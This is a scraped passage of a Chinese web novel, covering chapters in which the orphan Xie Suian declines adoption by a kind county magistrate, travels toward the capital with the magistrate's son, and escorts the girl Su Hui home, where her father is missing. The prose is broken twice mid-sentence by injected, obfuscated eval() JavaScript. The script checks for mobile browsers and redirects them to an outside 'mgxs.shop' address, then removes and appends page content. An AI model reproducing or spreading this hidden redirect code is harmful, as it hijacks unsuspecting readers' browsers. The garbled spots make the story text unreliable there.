不过几人还是没能去成书房,才出园子没走几步,便碰上了过来传话的管家——陈鹤年之前托商点打听苏茴父亲的事情有了回信,过来请苏茴和谢岁安过去。 苏茴很是激动,几人立刻就跟着管家去了堂屋。 …… 陈鹤年看见陈子非牵着两人进来,一愣,随即皱眉,不悦的看向陈子非:“你自己不好好读书也就罢了,还带着岁欢和小茴到处鬼混?” “好爹,你讲讲道理,我哪里有不好好读书?”陈子非很不赞同他爹这种恨不得把他钉在书房的行径,“我已经给你考上举人了好不好?” 虽然他确实贪玩了点,也确实不喜欢读书,但是该读的还是读了的好吧! 陈鹤年冷哼一声:“是,举人,排名倒数的举人。” “那也是千万人中才有一个的举人!” 还有正事,陈鹤年懒得再跟这个‘逆子’掰扯,他无视陈子非,看向苏茴,温和道:“小茴,你过来。” 苏茴小跑到过去,她向陈何年行了一礼,随后迫不及待的问道:“鹤年叔叔,我爹爹他怎么说,是不是很快就要来接我了?” 陈鹤年低头看小姑娘。 小姑娘的眼睛此刻晶亮无比,整个人异常激动,眼底满是喜悦与希冀。 他很希望能给苏茴一个肯定的回答,只是…… 想起信上的消息,他的心不由沉了下去,但是脸上未表现分毫,只是起身将苏茴抱起放到旁边的椅子上:“小茴,事情……没有那么顺利,你要有个心里准备。” “什么?”沈茴有些茫然,她不明白,爹爹那边还能怎么不顺利? “据商点那边的回信,你的父亲已经不在崇阳,似乎是秘密调任,他们向衙门和邻里三番五次的打听,也没能打听出他的去向。” 这个消息对于苏茴来讲不缔于晴天霹雳,苏茴被炸的晕乎,水亮的瞳眸暗淡下来,她低头,沉默。 父亲若是不在崇阳,能去哪里?什么叫做秘密调任不见踪影? “秘密调任……”陈鹤年小心的措辞,“许是你父亲接到了上面派来的保密的任务,等过段时间任务完成了,他就回崇阳,不用太担心,这是常见的事情。” “是这样的吗?”苏茴揪住衣角,眼泪控制不住的蓄满眼眶,她看着陈鹤年,急需有人给她一颗定心丸。 “嗯,我以前一个好友,曾也秘密调任出行过,案子结束了,也就回来了。”陈鹤年的声音愈发温柔,“所以放宽心,你父亲的情况估计也差不了太多。” “是啊小茴,估计就是正常的调派。”一旁的陈子非也出声安慰,“一般这种调任也就一两个月的事情,这段时间你就在我家安心住下,你不知道,我一直想要个妹妹,奈何爹娘不争气,十几年了,别说妹妹了,弟弟都没有一个!” 陈鹤年无语的睨了眼自己生的好儿子,一个都够他受的了,还再生一个。 看在陈子非也是为了安抚人的份上,陈鹤年没有跟他呛声,他回头看向苏茴:“崇阳可还有其他亲人?” 苏茴摇头。 陈鹤年沉思下,道:“那这样可好?你先在这里住下,再过半个月,子非也该启程去京城参加春闱了,你跟他一起出发,经过崇阳的时候让他送你回家,估计那时你父亲也回来了。” “大人,谢谢您。”苏茴抹了把脸上的泪,“我真是不知道该怎么感谢你。” 陈鹤年摸了摸她的头,见苏茴的情绪渐渐平稳下来,才转头看向一直没有出声的谢岁安,冲他招了招手:“岁欢,你过来。” 谢岁安上前几步:“大人?” “岁欢,你后面是什么打算?可有什么能够投奔的亲戚?” 问是这么问,陈鹤年猜十有八九是没有的,边境的村落,向来家里人都集中在一个村子里,就算有在其他地方的亲人,也未必能够接受一个外来的孩子。 但谢岁安的身世撒了谎,他并非大龙村的村民,而是 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只是略作犹豫之后,陈鹤年还是继续道:“住都是小事,你想再住多久都行。其实……我本来以为你可能已经没有亲人在世,想问问你是否愿意当我的义子。” “什么?” “什么?!” 谢岁安和陈子非同时惊呼出声,一个充满震惊茫然,一个充斥着惊愕和愤怒。 “老头,你是不是忘记跟你的好儿子我先通个气了?”陈子非一把将正在给苏茴剥皮的葡萄丢回盘子里,沉沉的盯着他爹,冷冷问道。 陈鹤年皱眉:“我今日本来也没叫你来,总要先问问岁欢的意思,再跟你商量。” 陈子非冷笑:“商量?我看你是想直接通知我吧。我也就罢了,我娘呢?她知道这个事情吗。” “我昨日便与你娘商量过了,你娘很喜欢岁欢,至于你……你不是一直都想要个弟弟妹妹?” 陈鹤年实在是不懂,为什么他这么激动,明明平常陈子非要弟弟要妹妹嚎的最欢,曾经有段时间简直恨不得守在他们房间让他们造小人。 陈子非一噎。 确实是平常他叫的最欢,但是这样他们就可以瞒着他做决定吗?他难道不是这个家里的一份子? 越想越生气,陈子非瞪了他爹一眼,甩着袖子离开。 陈鹤年:“……” 苏茴看看这个,又看看那个,干脆从凳子上跳了下来:“叔叔,我先去看看子非哥哥,你们接着聊?” 见陈鹤年点头,苏茴甩着小短手小短腿追了出去。 谢岁安面对此情此景,震惊已经转变为尴尬:“大人,你要不也先去看下子非哥?他看起来好像很生气。” “没事,你不用想太多,他不是针对你,也不是不愿意多个弟弟,子非很喜欢你。他就是气我没先跟他商量,晚些我再去找他,正在气头上我过去就是火上浇油。” 深知自己儿子秉性的陈鹤年并不以此为意,不过是他跟好儿子的‘小打小闹’罢了。 “重要的是,岁欢,你怎么想呢?你愿意做我儿子吗?” 沉稳浑厚的声音,此刻竟带上了几分紧张。 谢岁安看着陈鹤年期待的眼睛,心下震恸。 为官者,修身齐家治国平天下,忠君爱国,仁政爱民 一方父母者,上效君王循法度,下听百姓平邻里 ——这为官之道,每位官员在入仕之前都曾从卷本上千次万次读过,更是在考试中千次百次的写下。 然而天地浩然有正气,世路崎岖多鬼魅。 几人初心为国为民?几人恪守本心为民请命?但见这天地之大,妖魔横行,守家卫国者不得善终,勤恳营生者艰于饱暖。 如此世风世道,这般勤政爱民高风亮节者,岂非鹤立于鸡群,莲出于淤泥? 这是世间最珍贵的珍宝。 谢岁安很难形容自己是一种什么样的感觉,心中的软涨与酸涩几乎要冲破他的胸膛,眼中的涩意更是止不住的聚集。 “为天地立心,为生民立命,为往圣继绝学,为万世开太平。何其有幸,能碰上您这样的父母官。”他的声音带上几分哑,“大人,我有必须去京城的理由,很抱歉,我不能做您的孩子。” 谢岁安红着眼后撤一步,双膝跪地,双手交合伏地,额头轻叩三下:“唯愿大人岁岁无虞,长安长乐。” 地狱的烈焰正在焚灼,谢家一百三十七条性命亦在凄厉哀鸣。 他不当、也不能为不相干的人和事过分停留。 5. 谁是天底下最好的哥哥 “你先起来说话。” 陈鹤年上前将人扶起,有些头疼,这孩子什么都好,就是这动不动下跪的毛病不好。 陈鹤年看着谢岁安,欲言又止,止言又欲。 其实现在他比较懵,先是被好一顿大夸,夸的他都觉得有点心虚,毕竟他只是做好分内之职? 而后觉得十拿九稳的事情又被拒绝,还未等他反应,紧接着小孩砰的一下又跪下了。 这一串的连招,真是让人措手不及。不过…… 三叩跪拜之礼,上只跪君王,下只拜父母,乃燕临最高礼节。 所以这孩子并非不愿做自己的儿子,怕是有什么不得已的苦衷,不能做他的儿子。 陈鹤年心中不由叹了一口气,犹豫了下,最终还是把疑问吞回肚子,只是双手扣在小孩肩膀上,道:“且安心住下,到时候你跟子非他们一起上京,至于我刚刚说的……” 他温柔的看着谢岁安:“无论何时,行皆有效。” “大人,不必……” “好啦,就这么说定了。”陈鹤年拍拍他的肩膀,“去找他们玩吧,我一会还要去衙门。” 谢岁安在他的注视下,最终还是点了点头,微微作了一揖后退门而去。 …… 东侧书房内,苏茴看着案桌前奋笔疾书,猛写草书的人,犹豫了下,还是捏着手上的书凑了过去:“子非哥哥,要不我们出去玩吧,你不是想去游湖吗?” “不去。” “那我们去登高、赛马、斗蛐蛐?” “不去。” 写草书的人头也不抬的拒绝。 苏茴有点不知道该怎么办了,她不太擅长哄人,毕竟才五岁,向来都是别人哄她的。 她想了想平常阿爹阿娘哄她的样子,抬头环视了书房一圈,看见目标后眼神一亮,哒哒的跑过去,从盘子里抓了把糖又跑回来,伸手到陈子非前面摊开。 “子非哥哥,不生气了好不好,我们一起吃糖吧,可甜了。” 每次她生气或者难过的时候,爹爹跟娘亲就是这么拿糖哄她的,她每次吃完都能变得开心。 这下陈子非终于停下了笔,他有些哭笑不得的看着面前给他送糖果的小奶娃。 这五岁小孩是把他也当五岁小孩哄了,心下又是感动又是好笑,倒是真的没那么生气了。 他从苏茴的掌心抓了两颗糖,一颗剥了自己吃了,一颗剥了塞进苏茴的嘴里:“还是小茴贴心,臭老头就不应该收那个小子,应该收你才对。” 比起弟弟,他还是更想要个妹妹。 苏茴摇摇头:“我有爹娘,不能当鹤年叔叔的孩子的,而且……”她瞄了眼陈子非,“小哥哥人很好的,他会武功,会骑马,会做饭,学问很好,很有耐心,还非常的勇敢,有这么一个弟弟,子非哥哥你一点都不吃亏的。” 陈子非看着苏茴如数家珍似的说着谢岁安优点,婴儿肥的脸颊一鼓一鼓的,忍不住上手轻轻掐了一把:“看不出来啊,你这么喜欢那个臭小子?” “那当然,要是没有小哥哥,我说不定现在已经被戏班子的人卖了。”苏茴露出崇拜的神色,“岁欢哥哥是救我的大英雄!” “那我跟你的小哥哥,你更喜欢哪个哥哥?” 苏茴闻言一懵,傻眼的看向陈子非。 陈子非也看她。 看来这死亡问题是必须回答了。 她想了想才道:“小哥哥是天底下最厉害的哥哥,子非哥哥是天底下最好的哥哥。” 闻言,陈子非忍不住哼笑一声,再度伸手揉了把她的包子脸:“小滑头。” 倒也没有再纠结这个问题,陈子非抱起苏茴走向书架:“说吧,想看什么书,哥哥给你拿。” 两人才刚走到书架前,门外突然传来一阵敲门声,不等两人做出反应,门已经打开四分之一侧。 一个小脑袋从门外探进来,他和陈子非的视线对上,抓住门栏的手一下子紧张的向内扣了扣。 陈子非听见他略带试探的声音:“子非哥哥,我能进来吗?” 才因为收义子的事情,在亲爹和‘新弟弟’面前好一通脾气的陈子非突然面见当事人,不免有些尴尬,一时间根本不知该作何反应。 虽然整个事情算下来,谢岁安其实根本没有任何过错,甚至如苏茴所言,有这么个浑身上下除了脸都是优点的弟弟,他应该是赚大发了,但因为他好爹的擅作主张,他到现在也仍有几分余火。 他不是个好脾气的,一生气连亲爹都挤兑,更不要说这个关系莫大的‘主人公’。 但是看着小屁孩扣着门一脸紧张可怜的样子,陈子非又觉得自己也挺不是东西的,明明是老头的错,他为难一个比他还小八岁的小屁孩做什么?何况这个小屁孩还没爹没妈的,可怜的紧。 陈子非正想开口让他进来,但大约是他太久没反应,他听见门口的小孩再度开口:“子非哥,我拒绝了当大人的义子,我要上京寻我堂姐。” “什么?” 陈子非茫然,他都已经要接受他当自己的弟弟,现在告诉他弟弟飞了?他白纠结了? 陈子非把苏茴放下,几步走到门口,揪着谢岁安的后领就要把人提溜进来,结果他高估了自己的气力,没提动。 但谢岁安十分识趣,他即刻领会到陈子非的意思,顺势跨进房内,啪的一下关上门,乖巧的站在陈子非面前。 陈子非松手,瞄了眼面前站的跟只兔子似的人,心下腹诽:这小孩还真是……审时度势? 但这些都不重要—— “为什么拒绝老头?”陈子非不解,在他看来,对于谢岁安来说,答应老头是最好的选择,“老头应该跟你解释了吧,我……我其实挺喜欢你的,我在大厅发脾气也只是气老头没有先和我商量一下“他微微偏了点头,有点不好意思,”我……很期待你能成为我的弟弟。” 谢岁安却摇头:“不是因为哥哥的原因,我知道,哥哥你是一个,嗯,稍微有点嘴硬心软的。只是我尚有亲人在世,我想去找他们。” “你那个嫁与武将的堂姐?” “嗯。” 陈子非迟疑了下,还是说道:“小岁欢,不是我打击你,我不知你和你堂姐关系是何种要好,只是她早已嫁人有了新的家庭,且不说你们多年未见,时移世异,她待你之心是否依然如初,便是她依旧把你当弟弟,愿意接纳你,但她的婆家呢?能接受你这样投奔的一个孩子吗?怕是到时候,你堂姐也是有心而无力。” 他顿了下,见谢岁安不发一言,便继续道: “小岁欢,其实我觉得你答应老头子挺好的,老头和娘亲还有我都很喜欢你,老头虽然有的时候固执无趣了些,倒也是个品格有保障、关爱子女的好爹,他会把你当亲儿子来看的“ “而且老头虽然穷,但是我娘有钱啊,我娘可是白云商行的会长,跟着我娘,你要什么就可以买什么,以前这白云县是我和萧飞月两个人横着走,以后就是我们三一起横着走!” “扑哧。”听到最后一句,谢岁安没绷住,笑了下,但他很快憋了回去。 嗯,子非哥还在跟他分析,这时候笑多少又有些不合时宜了。 但还是被耳尖的陈子非听见了,他搞不懂这有什么好笑的,直接上手捏住眼前小孩没有伤疤的脸蛋子:“小孩,再考虑下?” 谢岁安由着脸上的手作怪,将就着摇了摇头,坚定的看向陈子非:“谢谢哥哥,你说的这些我都考虑过,但无论堂姐如何,她终归是我的亲人,我要去找她。” 一顿好说歹说半点效果没有,陈子非有点郁结,手上忍不住用力,带了几分泄愤的味道:“你这小孩怎么这么轴呢?” 谢岁安只看着陈子非。 陈子非泄气,松手:“行吧,到手的弟弟飞了,看来还是只能督促那两个多努力生一个给我玩了。” 不过他都督促这么多年了,他们连个鸡蛋都没造出来,他真的还有希望有个妹妹或者弟弟吗? 陈子非看了看苏茴,又看了看谢岁安,又看苏茴,又看谢岁安,最后摸着下巴思考。 其实也不是完全没希望,苏茴十有八九是要回家的,但谢岁安去京城认亲其实未必能成,如果不行的话,不是还是能拐回他家嘛。 ‘想通了’的陈子非又快乐了起来,他拉着两个小孩到书架前:“来吧,不说那些了,你们看看想看些什么?游记?话本?” …… 事实证明,游记和话本子确实魅力非凡,两个小朋友在书房看了一天,而陈子非则是难得的温习了一整天的书,三人的午饭和晚饭都是送来书房解决的,直到月升日落,戌时人定时刻,三人才被一阵敲门声从书本里唤醒。 陈鹤年进来看见正捧着书读的三个人,深感无限欣慰,尤其是那个逆子也在读书,没有出去鬼混。 苏茴率先跟陈鹤年打了招呼,谢岁安紧随其后,而陈子非只是在他爹推门进来的时候看了眼来人,随即便低头继续写着什么,对旁边的动静好似看不见也听不见。 “读书固然是好的,但也要注意身体。” “嗤。”陈子非冷笑。 陈鹤年瞟他一眼:“听管家说,你们在书房一天了,现下天色已晚,是该休息了。小茴、岁欢,你们回西厢房,早点休息,我跟你们子非哥哥还有点事情说。” 苏茴和谢岁安对视一眼,苏茴率先开口:“好的叔叔,那我们先回去休息了。” 说着,她放下书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550964|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本,跳下椅子拉着谢岁安向门外走。 出门时还贴心的把门关上了。 陈鹤年拉了把椅子在陈子非对面坐下,见他假装没看见自己,也不恼,只上手抢了陈子非的笔。 陈子非啧了一声,忍不住翻了个白眼,随即抱臂往后一靠,冷眼看着他爹在宣纸上刷刷的写。 看这老头还能整什么花样。 父子二人在书房‘友好’交流之时,苏茴正拉着谢岁安在庭院里散步。 美其名曰,坐了一天了,是时候活动活动筋骨了。 谢岁安对此不甚在意,由着苏茴拉着自己东转西转。 时维九月,序属三秋,深秋的晚风带着凉意在庭院中游走轻抚,檐上的惊鸟铃随之摆动,发出零星几点叮当声。 苏茴拉着谢岁安在石头上坐下,仰头便接住撒下的柔和月光,层层迷蒙的云雾里,月亮将隐未隐。 苏茴一手撑着脸颊,一手向前伸出,虚虚在空中抓了抓。 望着那轮圆月,她想起今天在话本中读到的诗句,循着记忆,不自觉的颂出声:“小时不识月,呼作白玉盘,又疑瑶…瑶…” “瑶台镜。”谢岁安同样望着月亮,出声提示。 “又疑瑶台镜,飞在青云端。”有了提示词,苏茴很顺畅的补全了剩下半阙诗,她忍不住出声赞叹,“小哥哥,你真厉害,你什么都会,什么都知道。” ——哥哥,你真厉害,什么都会,什么都知道。 恍惚中,记忆里的声音与之重叠。 温和日丽的午后,收到他手作纸鸢的谢长欢,抱着纸鸢转圈,毫不吝啬的夸奖她最崇拜的兄长。 谢岁安侧头看向苏茴。 其实她和谢长欢在长相、声音、性格上都毫无相似之处。但自他将她从戏班带出之后,苏茴时常在话语行动中流露出对他的担心、依赖、崇拜却让他总不自觉的感到恍惚,好像那个总是跟在他屁股后面一口一个哥哥的妹妹还未离他远去。 又是一阵微风拂面而过,微凉的触感让人格外惬意,谢岁安看见苏茴在清风的吹抚下忍不住舒服的眯眼。小小的人儿,看起来格外愉悦。 看了好一会,他突然道:“我很厉害?” 苏茴有点讶然的转头,不知是在惊讶谢岁安如此之长的反射弧,居然这么久才对她说的话做出反应,还是在惊讶谢岁安突如其来的问题。 小哥哥虽说不是个文静内向的性子,却也不怎么开朗活泼。 这几天都是她问他答,有事说事,他几乎没有闲聊挑话茬的时候,大部分时候她胡乱说了些什么,他要么挑着回答一些问题,要么就淡淡的嗯一声,如此反问……到还真是头一遭。 对上谢岁安的眼睛,苏茴点了点头,掰着手指头开始数:“小哥哥你会骑马、做饭、武功、读书……”苏茴一口气说了十几个优点,两只手根本不够,“……总之,小哥哥你是我见过最厉害的哥哥!” 看着苏茴数着数着逐渐变得晶亮的眸子,谢岁安忍不住弯了弯唇角。 这一抹弧度让苏茴呆了一瞬,随即更加卖力的夸弄起来:“小哥哥你还救了整个马戏班子的人,简直就是话本子里面的大英雄!而且小哥哥你还很有耐心,对我很好,每天都教我学那么多,从来不嫌弃我问题多,简直就是天底下最好的哥哥!” 如果她真的能有一个哥哥,她希望能是谢岁安这样的,只是她是家里的长女,哥哥是必不可能的了。 “我是天底下最好的哥哥?”谢岁安轻笑一声,“我怎么记得下午我听见有人说‘小哥哥是天底下最厉害的哥哥,子非哥哥是天底下最好的哥哥’?” 苏茴瞪大眼,没想到她最崇拜的小哥哥居然偷听?! “那我和子非哥,究竟谁是天底下最好的哥哥?小茴最喜欢哪个哥哥?” 苏茴瞳孔地震,不仅偷听,还拿她下午好不容易敷衍过去的死亡问题问她?! “我……你……嗯……这个……” 下午回答不出来,此时依旧不知道怎么回答的苏茴十分纠结,脸都拧巴成了一团。 谢岁安唇角的弧度越来越大,苏茴对上他戏谑的目光,终于反应过来自己被平时一本正经的岁安哥哥耍了。 她鼓起包子脸,抿唇控诉:“小哥哥,你学坏了。” “哈哈哈哈…” 小人儿幽怨的目光让谢岁安彻底破功,他忍不住大笑起来,整个人花枝乱颤,笑倒在石头上。 苏茴又呆住了。 她愣愣的看着笑的不能自己的谢岁安,本来微微升起那一小簇火苗噗的一下熄灭了。她忍不住也弯起了嘴角,笑的不见眼不见牙。 第一次看见小哥哥这么开心,她希望小哥哥可以永远都这么开心。 6. 离开 那夜谈过之后,陈鹤年父子便‘和好如初’了,接下来的日子,陈子非也没有再出去‘鬼混’,老老实实的在书房里温书。 苏茴和谢岁见陈子非的频率一下子降了下来,只有陈子非偶尔放风的时候,他才会突然出现,给他们带点小玩具、话本子或者零嘴之类的,掐掐他们的脸,很快又消失不见。 陈鹤年夫妇偶尔会带他们上街逛逛,但更多的时候还是两个小不点自己玩耍。 被‘英雄救美’之后的苏茴本来就对武功有了一定的敬意,最近听读话本,更是对武者大侠产生了强烈的崇拜,于是便央求着谢岁安教她功夫。 她也想像话本子里的大侠一样,飞檐走壁,劫富济贫,快意江湖! 谢岁安欣然同意,他自是不知道苏茴闯荡江湖的侠女之梦,只是觉得苏茴会一些功夫,以后他不在她身边了,她也能不受欺负。 即便是不能学出个什么名堂,身体素质上去了,遇到危险跑也能跑的更快。 考虑到苏茴的文化素养也在启蒙阶段,谢岁安给苏茴制定了文化体魄两方面的学习计划,每天带着苏茴按照计划一步步推进学习。 府上的人每每看见两个小不点或念书或打拳的场景,都忍不住的感慨夸赞,明明一个才九岁,却是能文能武,甚至能为人师,教的可谓有模有样,而另一个也才五岁,丝毫没有小孩的调皮顽劣,乖巧异常,学的也是有模有样。 看着那一大一小两个团子,众人怜爱之余,已为人父母的也不免想起自己家的崽子,不由有几分怒其不争:看看人家的孩子,再看看自己家的?为什么他家的不能这么听话懂事? 想着,便决定给自己孩子也多来上几分课业。 快乐的时光总是如水而去,半个月转瞬既逝,很快便到了陈子非需要出发进京赴考的日子。 县令府外,身着深蓝色素面锦缎袍子的妇人和身着青色长衫的青年相对而立,那妇人面容姣好,脸色红润,看起来不过三十出头的年纪。 此刻,她柳眉微微蹙,望着前面的少年眼中是止不住的忧色:“小非,出门在外,千万小心,三餐要按时吃,天冷记得添衣,万事以自己的身体和健康为先,千万照顾好自己。” 儿行千里,母亲总是担忧。 陈子非在母亲面前乖巧异常,跟他爹面前完全是两副模样:“娘亲,你放心,我没问题的。” 柳垂茵看着已经比自己还高一个头的儿子,微微恍惚,终归是长大了,再不舍,也该放手让他去闯荡。 她朝陈子非露出一个笑容:“娘亲相信你,我和你爹等着你荣归故里。”说着,她微微侧头看了下陈子非旁边安静的两个小不点,嘱咐道,“也算是当哥哥的人了,小茴和岁欢可是交给你了,一定照顾好弟弟妹妹们。” 陈子非拍拍胸脯:“那必须,我可是天底下最好的哥哥!” 柳垂茵侧身摸了摸苏茴和谢苏安的头:“你们也是,在外照顾好自己,有什么想吃的想要的,尽管找子非哥哥知道吗?千万不要跟他客气。” 苏茴和谢岁安点点头:“茵姨你放心,我们会照顾好自己的!” 苏茴松开谢岁安的手,扑进柳垂茵的怀里:“茵姨,我好舍不得你,我一定会想你和鹤年叔叔的。” 被扑了个满怀的柳垂茵看着怀里粉雕玉琢的粉团子,心中亦是十分不舍,虽然只有半个月的短暂相处,但她是真的很喜欢这两个小孩。 她摸了摸苏茴的小脑袋:“我们也会想小茴的,小茴到家了可一定记得给茵姨写信。” “我会的,我一定时常给你们写信,我已经认识很多字了。” “好,那我可等着小茴的亲笔信了。”柳垂茵笑着将怀中的小人挖出,将人交到陈子非的手上,“时辰不早了,去吧,出发吧。” 陈子非一手牵着一个,看着柳垂茵最后道:“娘亲,那我们走了,你和爹也照顾好自己。” “我们会的。”柳垂茵笑着点了点头。 陈子非牵着人上了马车,随着镖局的人一道向南而去。 由于这次进京赶考,除了陈子非自己,还有两个小不点,柳垂茵和陈鹤年商量之后,便决定雇佣镖局的人进行护送。一来镖局一路都有车马,孩子们能舒适一些,二来当前世道并不不算太平,有镖局的人在,安全更加有保障。 柳垂茵夫妇雇佣的是白云县萧家的万龙镖局,萧家与柳家素来交好,两家数代在白云县,一家从商,一家则是镖堂,双方合作十分密切,往上几代,两家甚至还有几对看对眼的结为姻亲。 镖局这次上京,除了护送人,也护送货物。 货物装了三大马车,镖局派了十个人进行押送,再加上陈子非三人、以及他的贴身奴仆陈林,共计十四人,最后上路的有八辆马车。 马车车队浩浩荡荡的穿过白云县,刚出城门不久却突然停下。 陈子非正想询问缘由,就听见驾马的陈林大声道:“少爷,是萧小姐来了。” 萧飞月回来了? 陈子非一怔,随即上前拉开马车门帘,果见一个红衣女子骑着一匹骏马伫立车队前方。 少女一袭劲装,乌黑的长发梳成高高的马尾,双手执缰,高挑的身形立于马上,如松如剑。 她见少年愣愣的模样,不由挑眉:“怎么,小半个月不见,不认识了?” “你怎么就回来了?走的时候不是说要二十几天?” “某人一走少说半年,又不愿意我护送,我当然只能赶着来再见一面是一面。” 之前乡试还未放榜时,萧飞月便笑着说,如果他今年就中举的话,待到秋来,她送他去燕京赴考。 奈何陈子非并当时并不想跟着镖局一起,他觉得收拾点包袱带上陈林,跟其他举子一道就好,便拒绝了萧飞月。 直到前段时间出了那些变故,需要带着两个小不点上路,加上柳如茵实在担心他们的安全,他便同意了雇佣镖局的提议。 萧飞月收到他的信,知晓他计划变更后,再次提出护送,却被陈子非再度拒绝。 “那不是你才刚接手镖局的事情,你爹刚把活交给你,你就跟我走好几个月,不合适。” 少东家才上任,他就把人拐跑,萧叔叔后面还怎么看他。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550965|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你倒是比我这个镖局少主还要操心。” 其实有她爹在,她走几个月完全没问题,她爹正值壮年,正是闯爹年纪。 至于陈子非担心的,萧家少主刚上任就跑路老爷子一怒之下将少主革职——这种事她是完全无所谓的,反正老头只有她一女儿,不传衣钵给她还想传谁? 只是……最近几批货着实棘手,让老头一个人处理难免分身乏术,忙中出错。她良心不多,恰好对老头还有那么几分。 萧飞月下马,朝马车上的陈子非昂了昂头,示意他下来说话。 陈子非接收到信号,即刻从车上下来,边走边嘀咕:“我娘不放心也就算了,你又不放心什么?我可是个大男人,又不是小姑娘,难道我还能把自己给弄丢了?” 萧飞月好笑的看着他:“行,比我还小一岁的大男人,出门在外千万小心,安全为重,不要自己贪玩远离镖局的人,知道吗?” “就小三个月!”陈子非忍不住出声反驳。 说来郁闷,萧飞月是年关十二月生的,陈子非则是次年三月出生,因着差了几个月,从小没少被萧飞月按着叫姐姐。 “知道了知道了,我会照顾好自己的,我真不是三岁小孩,你们不用这么担心我。”大约是这几天听了太多人的叮嘱,陈子非现在一听这话就觉得有些心累。 真的不用一而再再而三的跟他强调这些事了。 看着少年闷气的模样,萧飞月食指动了动,忍了忍,还是没忍住,她凑到少年的眼前,猝不及防的贴上了少年的薄唇。 “!” 陈子非震惊的瞪大眼,不可置信的看着近在咫尺的人,连推开都忘了。 萧飞月眼眸含笑的看着少年呆愣的模样,在他唇上咬了一口才放开他。 她用拇指轻轻摩挲少年唇瓣上的齿痕:“还有就是,在外面不许沾花惹草,你要是招惹别的女人,我可是会生气。” “!!” 陈子非好似终于反应过来,忍不住后退一步,粉色的霞晕直直从脖颈攀附上脸颊,一瞬间整个头都红了起来。 “你你你……我…我……”他抖着手指着萧飞月,语无伦次,根本不知道该说些什么。 萧飞月挑眉,捏住他莹润的指头:“听到了吗?” 陈子非脑子再度宕机。 他盯着萧飞月的手好一会,才触电似的缩回手背到身后,扭头看草看天,就是不看萧飞月,半晌才瓮声瓮气的嗯了一声。 萧飞月再度失笑了起来,她上前一步,垫脚微微前倾,就着陈子非侧着的耳边:“好乖,等你回来,姐姐奖励你好不好?想要什么都可以。” 轻柔的声音惑人异常,耳边、唇颈全是她的气息。 “不用给自己太大压力,就算你考不上,姐姐养你一辈子,嗯?” “……嗯。”本就滚烫的耳朵,这下更是灼人。 陈子非脑子一团浆糊,什么时候被萧飞月送他重新上了马车都没反应,直到外面传来马蹄奔跑的声音,他才如梦初醒,忍不住拉开车上的窗帘,看见那红色的骏马身影越来越远,最后化作一个点消失不见。 7. 一起上京 今夜过后,再有半天,就能到崇阳了,苏茴现在心中满是即将回家的喜悦,但想到就要和谢岁安他们分离,不免又有几分不舍。 正在苏茴喜悦惆怅之际,出去打猎的谢岁安回来了,他拎着兔子耳朵朝苏茴晃了晃:“今晚加餐。” “!”苏茴眼睛发亮的看着那只兔子。 之前听小哥哥说烤兔子时,她就馋的不行,小哥哥便笑着说等有机会一定给她烤,没想到这么快就能吃上。 苏茴小跑着跟上要去河边处理兔子的谢岁安:“小哥哥,等等我。” 谢岁安处理猎物的手法十分娴熟,兔子皮被他完整的剥下,洗干净后放在一旁:“这皮不错,你把它带回去,之后可以让你娘亲用这个给你做个手套。” 他一边说着,一边用匕首划开兔子的胸膛,将里面的内脏取出,一旁本来因为好奇各种问题的苏茴却突然安静下来。 她看着那湿漉雪白的兔子皮,又想到明天即将面临的离别,不知怎的,喜悦都渐渐淡了下去,只剩下浓浓不舍与难过。 察觉到苏茴过分的安静,谢岁安处理的动作一顿。 他一扭头,便看到一个泪眼汪汪的小孩。 谢岁安有些怔愣,不明白这是怎么了,只得赶紧放下处理兔子匕首,随意洗了洗手后在衣服上擦干。 他抬手轻轻擦了擦苏茴眼角的泪水:“这是怎么了?怎么还哭了?” 本来还在努力控制自己的苏茴听见这温柔的言语,情绪瞬间决堤,眼泪哗哗的往下流。 “小哥哥,我、我舍不得你……明天你们离开了,我是不是再也见不到你了?” 看着那水汪汪的眸子,谢岁安哑然。 好一会儿,他才继续拭去她眼角的泪,却是怎么都擦不干:“别哭,别哭…天下虽无不散的筵席,但往后的日子还长,我们会再见的。” “真的吗?” “嗯,我会找机会来看你的。” 苏茴扑进谢岁安的怀中:“小哥哥,那天你问我‘哪个是天底下最好的哥哥,我最喜欢哪个哥哥’,我现在告诉你,你就是天底下最好、最厉害的哥哥,我最最喜欢的哥哥,你一定要回来看我。” 怀中的小人哭的不能自己,啜泣声中满是难过与不舍。 明明已经是失去所有的人,居然还能被人如此强烈的需要吗? 夕阳斜下,残留的霞光将河边的两道身影拉长,倒映在河面上发出粼粼的波光。 谢岁安将苏茴抱紧,下巴抵住她的发顶,在暮色中闭眼蹭了蹭:“会的,我一定会回来看你。” … 次日正午,车队终是到了崇阳。 一行人简单吃完午饭,镖局的人部分留在车队修整,部分外出采买物资,而谢岁安和陈子非则是跟着苏茴去了她家。 “拐个弯,再向右就到了。” 时隔三个月,终于回来了,苏茴拉着两人激动异常,但也有几分忐忑,也不知道爹爹回来了没有。 三人到门口时,大门紧闭,看起来并不像有人在家的样子。 苏茴的心一下子就沉了下去。 爹爹还没回来么?不是说调派一般就一个月左右? 苏茴并不愿意接受这个结果,不死心的敲开了邻居的门,但得到的回答便是苏澄已经失踪了两个月。 看着几乎要哭出来的苏茴,谢岁安想了想,建议道:“不如我们去衙门问问,伯伯本来也在衙门上班,或许县令会知道些什么。” 